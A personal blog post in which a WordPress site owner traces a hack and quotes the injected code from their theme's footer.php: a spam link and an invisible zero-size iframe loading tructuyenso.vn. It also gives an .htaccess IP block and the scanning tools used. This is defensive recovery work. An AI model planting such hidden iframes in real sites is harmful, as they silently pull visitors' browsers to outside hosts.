Introduction
A few days ago I got hacked. I quickly ripped out a heap of dodgy files left by the hackers but for some days now, Firefox, my browser, while viewing pages on this website, has been saying that it’s “downloading data from tructuyenso.vn… “.
.htaccess
This, of course, was not actually happening, as I’ve put the blockers on the whole of Vietnam using .htaccess! The reason for this is that initially, tructuyenso wasn’t the only site appearing in the progress tip – there was another which lasted until I got rid of the various files dumped on my website. This is how:
<Limit GET POST> order allow,deny deny from 112.0.0.0/8 allow from all </Limit>
However, the call was still being made from somewhere on my site as the progress indicator wouldn’t stop….
Site5 Search
A search for the string “tructuyenso.vn” turned up nothing in the files on my website using my website host’s file manager. (In the end, this was my failing and I will not rely on the thing again!)
A search through my database also turned up zero.
TCPView
TCPView is a download from Sysinternals.com (now Microsoft!) that shows the various net connections being made to one’s PC from everywhere. This immediately showed that as soon as the main strangelyperfect.tv website (not the backend WordPress admin area), fired up in Firefox, as many as 7 connections were simultaneously made to 112.78.15.230…… This is the IP address that holds tructuyenso.vn, plus 11 other domains, some of which I’d seen flash through the progress bar.
Even when closed by TCPView, the connections would immediately start up again to the same IP address, 112.78.15.230 (manually closing strangelyperfect.tv stopped the connections).
YouGetSignal.com shows the domains up nicely in the screenshot above..
Result!
Finding nowt anywhere and Google searches providing zilch on the website in question except in Vietnamese, I turned to the WordPress Codex, specifically, https://codex.wordpress.org/FAQ_My_site_was_hacked
I had of course previously changed my FTP, mySQL databaase and site management passwords, but the link at the bottom to a Website malware & blacklist scan (Sucuri) was the killer! On visiting Sucuri, it instantly said that I was acting as a host for malware and gave the offending results, for free! (Of course, I wasn’t hosting malware – just that it gave an indication that I was and hence the slowness of the site to load as it tried and failed to download shite my way from Vietnam)
This is their take on it: http://sucuri.net/malware/malware-entry-mwiframehd202
Final Cause and Clean Up
Checking the source code for my homepage (which in retrospect I should have done first!!) threw up “tructuyenso.vn” right at the very bottom. This is the code as it was when I checked:
<a href="http://tructuyenso.vn" title="Quang cao truc tuyen | Ban hang truc tuyen | Dien dan quang cao truc tuyen" > Quang cao truc tuyen</a> <iframe marginWidth="0" marginHeight="0" frameBorder="0" width="0" height="0" bottommargin="0" rightmargin="0" leftmargin="0" topmargin="0" nosize scrolling="no" src="http://tructuyenso.vn/"></iframe> </body> </html>
This was then easily traced to the footer.php file in my theme, Suffusion.
It was simply stripped out and the website then worked fine….. but to be sure, I have downloaded then checked the footer file in a fresh theme download to be sure – it’s clean! I then uploaded a whole clean Suffusion theme in it’s entirety just in case any other theme files were compromised during the original hack yet were dormant, waiting for a trigger.
A recheck on Securi shows my website to be okay now. See screendump below. I’ll be using Securi a lot more!
Leave a Reply
You must be logged in to post a comment.